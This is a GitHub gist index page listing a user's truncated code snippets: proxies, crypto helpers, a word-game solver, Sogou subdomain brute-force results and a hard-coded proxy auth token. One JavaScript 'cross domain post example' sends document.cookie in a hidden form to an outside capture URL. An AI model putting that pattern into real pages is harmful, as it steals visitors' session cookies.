Skip to content

Instantly share code, notes, and snippets.

@zhuzhuor
zhuzhuor / help_drawsome.py
Created March 26, 2012 04:02
to assist you for drawsome...
#!/usr/bin/env python
chars = 'defillmorsty'
w_len = 7
assert len(chars) == 12
import enchant
d = enchant.Dict('en_US')
from itertools import permutations
@zhuzhuor
zhuzhuor / gist:2770237
Created May 22, 2012 16:57 — forked from timesking/gist:1472374
sogou proxy
# modified based on https://gist.github.com/2770237
from struct import unpack
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from httplib import HTTPResponse
from SocketServer import ThreadingMixIn
import socket
import time
x_sogou_auth = "9CD285F1E7ADB0BD403C22AD1D545F40/30/853edc6d49ba4e27"
@zhuzhuor
zhuzhuor / results.txt
Created May 29, 2012 01:43
For brute-force searching sogou sub-domains
['h0.cmc.bj.ie.sogou.com',
'h0.cnc.bj.ie.sogou.com',
'h0.crc.bj.ie.sogou.com',
'h0.ctc.bj.ie.sogou.com',
'h0.dxt.bj.ie.sogou.com',
'h0.edu.bj.ie.sogou.com']
@zhuzhuor
zhuzhuor / wsgi_proxy.py
Created June 17, 2012 06:01
A (Lame) Python WSGI HTTP Proxy based on Tornado
#!/usr/bin/env python
'''
A blocking HTTP proxy based on non-blocking Tornado...
-- for the sake of WSGI compatibility --
also without HTTPS support...
'''
from tornado import web, wsgi, httpclient, escape
@zhuzhuor
zhuzhuor / rc4.py
Created July 17, 2012 23:34
An obfuscated RC4 keystream generator, made for AppFog OpenStack Birthday Contest
#!/usr/bin/env python
__copyright__ = "Copyright (C) 2012 Bo Zhu http://zhuzhu.org"
def ARC4(OOO4):
"""A fully functional RC4 keystream generator"""
O400,O4O0,O40O,O4OO=range(0400),0000,0000,0000
for OO04 in range(0400):O4O0=(O4O0+O400[OO04]+OOO4[OO04%len(OOO4)])%0400;O400[O4O0],O400[OO04]=O400[OO04],O400[O4O0]
while-1:O40O=(O40O+0001)%0400;O4OO=(O4OO+O400[O40O])%0400;O400[O40O],O400[O4OO]=O400[O4OO],O400[O40O];yield O400[(O400[O40O]+O400[O4OO])%0400]
@zhuzhuor
zhuzhuor / gist:3902693
Created October 16, 2012 23:17
cross domain post example
var ifr = document.createElement('iframe');
var frm = document.createElement('form');
frm.setAttribute("action", "http://requestb.in/xxx");
frm.setAttribute("method", "post");
var inp = document.createElement('input');
inp.type = 'hidden';
inp.name = 'cookies';
inp.value = document.cookie;
@zhuzhuor
zhuzhuor / search_g2.py
Last active October 11, 2015 19:18
search earlier date for g2 test
#!/usr/bin/env python
# this script doesn't work anymore due to changes/upgrades of the exam booking website
# driver license number
DLNumberA = "S1111"
DLNumberB = "22222"
DLNumberC = "33333"
# post code
@zhuzhuor
zhuzhuor / kengdie.js
Created October 26, 2012 05:00
坑爹的js
// a reminder for myself
var key = 'aaa';
var val = 'bbb';
var obj = {key: val};
console.log(obj);
// you will get {'key': 'bbb'}
@zhuzhuor
zhuzhuor / tiny_http_proxy.js
Created December 19, 2012 06:51
a tiny piece of nodejs code for a functional http proxy server
var http = require('http');
var url = require('url');
http.createServer(function(client_request, client_response) {
var parsed_url = url.parse(client_request.url);
var proxy_request = http.request({
host: parsed_url.host,
path: parsed_url.path,
method: client_request.method,
headers: client_request.headers
}, function(proxy_response) {
@zhuzhuor
zhuzhuor / aes.py
Created January 23, 2013 01:40
my wrapper for the AES implementation in PyCrypto
#!/usr/bin/env python
# to get the same interfaces as https://github.com/bozhu/AES-Python
from Crypto.Cipher import AES as _AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
class AES:
def __init__(self, master_key, block_size=128):